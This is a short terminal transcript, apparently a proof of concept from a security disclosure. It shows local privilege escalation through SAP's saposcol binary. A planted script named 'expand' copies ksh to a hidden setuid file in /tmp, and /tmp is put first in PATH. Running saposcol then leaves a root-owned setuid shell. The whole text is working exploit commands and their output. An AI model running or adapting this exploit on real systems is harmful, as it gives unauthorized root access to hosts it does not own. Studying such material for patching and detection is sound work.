user@jupiter:~$ cat /tmp/expand #!/bin/sh cp /usr/bin/ksh /tmp/.sh chmod 4755 /tmp/.sh user@jupiter:~$ ls -l /tmp/.sh ls: /tmp/.sh: No such file or directory user@jupiter:~$ export PATH=/tmp:$PATH user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol Starting collector (create new process) user@jupiter:~$ ls -l /tmp/.sh -rwsr-xr-x 1 root sapdb 162448 Apr 9 21:00 /tmp/.sh